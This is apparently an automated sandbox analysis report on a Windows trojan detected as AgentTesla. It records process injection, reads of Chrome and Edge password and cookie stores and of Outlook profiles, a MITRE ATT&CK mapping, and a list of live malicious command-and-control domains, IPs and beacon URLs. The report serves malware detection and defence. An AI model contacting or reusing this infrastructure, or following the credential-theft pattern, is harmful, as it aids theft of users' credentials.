Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\WrrCV4QR2J.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\WrrCV4QR2J.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\isoburn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\isoburn.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\isoburn.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.WrrCV4QR2J.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4120529651.00000000028D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4122987112.0000000004A70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121516718.00000000046C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4121554495.0000000004700000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791548319.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1793042064.0000000004140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1791836108.0000000000FC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4121341224.0000000004FE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	412 Process Injection	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	4 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	5 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	5 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
WrrCV4QR2J.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
WrrCV4QR2J.exe	100%	Avira	TR/AD.Swotter.ladfk
WrrCV4QR2J.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	Avira URL Cloud	safe
http://www.magmadokum.com/ahec/	0%	Avira URL Cloud	safe
http://www.77moea.top/ahec/?XveXHZvx=W415zxONlMY0LROHEGAnVDwgVvy34PrUrzPBSWER7JgIGEVSpL5hn1DTAqCrj0fiYOesE/vl81lAGPaeX7al4cCYp0GZGyu2aw==&l4xX=rDStpH0He	100%	Avira URL Cloud	phishing
http://www.nesmalt.info/ahec/?XveXHZvx=DTrGbTEHMG6Y4mK16jmiKUG3Xw8oKDF5CR5S23I4xf5AWU1NMecScwq/Pr/mUgt4GFrPBjE4MJyXMuu59XRrX+Dyau3GNz4OAA==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
http://www.instantconvey.com/ahec/?XveXHZvx=SEtDmKR01RO/v1ckzNpTcUhCl/PMZGqFQ+LqZaILuKhM8xDFx1nbKCOFshx5Sqoz6Az3phyVzpkjs7F2QS7YIFIq1ILz0nKZVg==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
http://www.fam-scharf.net/ahec/?XveXHZvx=pHT1kOem2IT0Y9TJ94VCHNnbNLZhsvH3XSVhoxxlik7UiuURsLT/Jzy3sp/tZoydu20sa6TfNH7nZl1KjnhQP0JKKbiUNKMEcA==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
http://www.fam-scharf.net/ahec/	100%	Avira URL Cloud	malware
https://www.transip.eu/services/search-domains/	0%	Avira URL Cloud	safe
http://www.poria.link/ahec/	100%	Avira URL Cloud	malware
http://cdn.jsinit.directfwd.com/sk-jspark_init.php	100%	Avira URL Cloud	malware
http://www.npstore.asia/ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL0rM/85NSIBYnKSu3X+covYz9Y5Yt4Y8akrMm9Q==&l4xX=rDStpH0He	0%	Avira URL Cloud	safe
http://www.domainappraisalbot.com/ahec/	100%	Avira URL Cloud	malware
http://www.altralogos.com/ahec/	100%	Avira URL Cloud	malware
https://www.transip.eu/terms-of-service/	0%	Avira URL Cloud	safe
http://www.611erhm.top/ahec/	100%	Avira URL Cloud	phishing
http://www.npstore.asia	0%	Avira URL Cloud	safe
http://www.thecoloringbitch.com/ahec/?XveXHZvx=nB1qtJANgieev8TKH3dNfv3ofOkziUaCXRyPWsB/WMzSWoyZdSlu5bXncPzzIIBEZ/2nP35zxbYs3CtalsMTKbCYScmVHGO9lg==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
http://www.user4deepriver.com/ahec/?XveXHZvx=9k2v98v8fW7x5mt2TD9N5hM0Gp49wMZ6NgJCH+u8B3tf6gDcFaFwcfLjsp7tbCeN6M+Gl5HR8oN4IorBb0pnZhULhTE/SFE2Bw==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
http://www.founder.com.cn/cn/bThe	0%	Avira URL Cloud	safe
http://www.domainappraisalbot.com/ahec/?XveXHZvx=bB5JTYLqXbmN0Rh52tJaPPP1nCuGRYxCl3xm8ZfdPOYVrj3MpZEcwx/57KsfYAKqEjFN/H+DNeQWefm4mYc20p8FNjdU2pWhmA==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
http://www.npstore.asia/ahec/	0%	Avira URL Cloud	safe
https://www.npstore.asia/ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL	0%	Avira URL Cloud	safe
http://www.wrautomotive.online/ahec/?XveXHZvx=5igDJT3zPYxoznSfOhoK1Ng2m3hD5JqRz+D9mmXj9CLVcvHmJGefSTTLw3ACEWBDJ4ZMU5QrLRnI3LOtkf+25ITAAVo7msZgdw==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
http://www.altralogos.com/ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z+z7fEU9kkqncAr7zuQTFBqkfWFiGtk2IJlit7AKpO/fBLfK4Y05FeQ==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
https://www.transip.eu/knowledgebase/zoeken/	0%	Avira URL Cloud	safe
http://www.nesmalt.info/ahec/	100%	Avira URL Cloud	malware
http://www.77moea.top/ahec/	100%	Avira URL Cloud	phishing
https://www.transip.eu/question/110000577/	0%	Avira URL Cloud	safe
http://www.thecoloringbitch.com/ahec/	100%	Avira URL Cloud	malware
http://www.makeinai.online/ahec/	100%	Avira URL Cloud	malware
http://altralogos.com/ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z	100%	Avira URL Cloud	malware
https://transip.eu/cp/	0%	Avira URL Cloud	safe
https://pdds.quark.cn/download/stfile/rrxtuszryrsvrtzte/QuarkCloudDrive-v2.5.43-release-pckk	0%	Avira URL Cloud	safe
http://www.makeinai.online/ahec/?XveXHZvx=MydpLo7WWyKQN3KVLs+v6WaBMDmZ37UnbscI2lMT8W/M5j1pmQABg8QwQndiOgkeUarM8fNOhSJ3XzKDSkOkoUWHW96MRNJ3hQ==&l4xX=rDStpH0He	100%	Avira URL Cloud	malware
https://transip.eu/	0%	Avira URL Cloud	safe
https://www.transip.eu/question/110000576/	0%	Avira URL Cloud	safe
https://www.transip.eu/question/100000230	0%	Avira URL Cloud	safe
http://www.wrautomotive.online/ahec/	100%	Avira URL Cloud	malware
https://www.transip.eu/knowledgebase/entry/284-start-sending-receiving-email-domain/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.makeinai.online	37.140.192.89	true	true	unknown
www.nesmalt.info	66.29.155.54	true	true	unknown
www.611erhm.top	34.117.26.57	true	true	unknown
fam-scharf.net	81.169.145.70	true	true	unknown
instantconvey.com	131.153.147.90	true	true	unknown
natroredirect.natrocdn.com	85.159.66.93	true	true	unknown
altralogos.com	185.74.252.11	true	true	unknown
alldaysslimmingstea.com	162.222.226.77	true	true	unknown
dns.ladipage.com	52.220.48.161	true	true	unknown
wrautomotive.online	37.97.254.27	true	true	unknown
www.user4deepriver.com	74.208.236.181	true	true	unknown
www.domainappraisalbot.com	94.23.162.163	true	true	unknown
thecoloringbitch.com	162.241.252.161	true	true	unknown
www.poria.link	104.21.18.253	true	true	unknown
www.77moea.top	107.178.250.177	true	false	unknown
www.magmadokum.com	unknown	unknown	true	unknown
www.altralogos.com	unknown	unknown	true	unknown
www.wrautomotive.online	unknown	unknown	true	unknown
www.instantconvey.com	unknown	unknown	true	unknown
www.thecoloringbitch.com	unknown	unknown	true	unknown
www.alldaysslimmingstea.com	unknown	unknown	true	unknown
www.npstore.asia	unknown	unknown	true	unknown
www.fam-scharf.net	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.instantconvey.com/ahec/?XveXHZvx=SEtDmKR01RO/v1ckzNpTcUhCl/PMZGqFQ+LqZaILuKhM8xDFx1nbKCOFshx5Sqoz6Az3phyVzpkjs7F2QS7YIFIq1ILz0nKZVg==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.poria.link/ahec/	true	Avira URL Cloud: malware	unknown
http://www.magmadokum.com/ahec/	true	Avira URL Cloud: safe	unknown
http://www.fam-scharf.net/ahec/	true	Avira URL Cloud: malware	unknown
http://www.nesmalt.info/ahec/?XveXHZvx=DTrGbTEHMG6Y4mK16jmiKUG3Xw8oKDF5CR5S23I4xf5AWU1NMecScwq/Pr/mUgt4GFrPBjE4MJyXMuu59XRrX+Dyau3GNz4OAA==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.77moea.top/ahec/?XveXHZvx=W415zxONlMY0LROHEGAnVDwgVvy34PrUrzPBSWER7JgIGEVSpL5hn1DTAqCrj0fiYOesE/vl81lAGPaeX7al4cCYp0GZGyu2aw==&l4xX=rDStpH0He	false	Avira URL Cloud: phishing	unknown
http://www.fam-scharf.net/ahec/?XveXHZvx=pHT1kOem2IT0Y9TJ94VCHNnbNLZhsvH3XSVhoxxlik7UiuURsLT/Jzy3sp/tZoydu20sa6TfNH7nZl1KjnhQP0JKKbiUNKMEcA==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.domainappraisalbot.com/ahec/	true	Avira URL Cloud: malware	unknown
http://www.altralogos.com/ahec/	true	Avira URL Cloud: malware	unknown
http://www.npstore.asia/ahec/?XveXHZvx=kM9uZ8DSycwmMd9mOUcNXsu3ZVxRbXOcoIpBdgpgHsmMTTfOm57EajrucSnL0rM/85NSIBYnKSu3X+covYz9Y5Yt4Y8akrMm9Q==&l4xX=rDStpH0He	true	Avira URL Cloud: safe	unknown
http://www.611erhm.top/ahec/	true	Avira URL Cloud: phishing	unknown
http://www.thecoloringbitch.com/ahec/?XveXHZvx=nB1qtJANgieev8TKH3dNfv3ofOkziUaCXRyPWsB/WMzSWoyZdSlu5bXncPzzIIBEZ/2nP35zxbYs3CtalsMTKbCYScmVHGO9lg==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.domainappraisalbot.com/ahec/?XveXHZvx=bB5JTYLqXbmN0Rh52tJaPPP1nCuGRYxCl3xm8ZfdPOYVrj3MpZEcwx/57KsfYAKqEjFN/H+DNeQWefm4mYc20p8FNjdU2pWhmA==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.user4deepriver.com/ahec/?XveXHZvx=9k2v98v8fW7x5mt2TD9N5hM0Gp49wMZ6NgJCH+u8B3tf6gDcFaFwcfLjsp7tbCeN6M+Gl5HR8oN4IorBb0pnZhULhTE/SFE2Bw==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.npstore.asia/ahec/	true	Avira URL Cloud: safe	unknown
http://www.altralogos.com/ahec/?XveXHZvx=3lo42cEGi68x7KhWvzM1eCzYORtkkO0ycY0hNiK/Qn4Z+z7fEU9kkqncAr7zuQTFBqkfWFiGtk2IJlit7AKpO/fBLfK4Y05FeQ==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.wrautomotive.online/ahec/?XveXHZvx=5igDJT3zPYxoznSfOhoK1Ng2m3hD5JqRz+D9mmXj9CLVcvHmJGefSTTLw3ACEWBDJ4ZMU5QrLRnI3LOtkf+25ITAAVo7msZgdw==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.nesmalt.info/ahec/	true	Avira URL Cloud: malware	unknown
http://www.77moea.top/ahec/	false	Avira URL Cloud: phishing	unknown
http://www.makeinai.online/ahec/	true	Avira URL Cloud: malware	unknown
http://www.thecoloringbitch.com/ahec/	true	Avira URL Cloud: malware	unknown
http://www.makeinai.online/ahec/?XveXHZvx=MydpLo7WWyKQN3KVLs+v6WaBMDmZ37UnbscI2lMT8W/M5j1pmQABg8QwQndiOgkeUarM8fNOhSJ3XzKDSkOkoUWHW96MRNJ3hQ==&l4xX=rDStpH0He	true	Avira URL Cloud: malware	unknown
http://www.wrautomotive.online/ahec/	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	isoburn.exe, 00000004.00000003.1957408917.00000000074F8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	isoburn.exe, 00000004.00000003.2011823112.0000000007C8E000.00000004.00000020.00020000.00000000.sdmp, isoburn.exe, 00000004.00000003.1960362035.00000000075F5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://track.uc.cn/collect	isoburn.exe, 00000004.00000002.4122089347.0000000005B84000.00000004.10000000.00040000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.000000000635E000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003DEE000.00000004.00000001.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003614000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.transip.eu/services/search-domains/	UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.transip.nl/vragen/110000534/	isoburn.exe, 00000004.00000002.4123491742.0000000007260000.00000004.00000800.00020000.00000000.sdmp, isoburn.exe, 00000004.00000002.4122089347.00000000064F0000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false		high
https://transip.nl/	UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000003F80000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.sajatypeworks.com	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.dynadot.com	isoburn.exe, 00000004.00000002.4122089347.00000000053AA000.00000004.10000000.00040000.00000000.sdmp, UHPrrMeffyCaz.exe, 00000006.00000002.4121536658.0000000002E3A000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	WrrCV4QR2J.exe, 00000000.00000002.1686616226.0000000007132000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
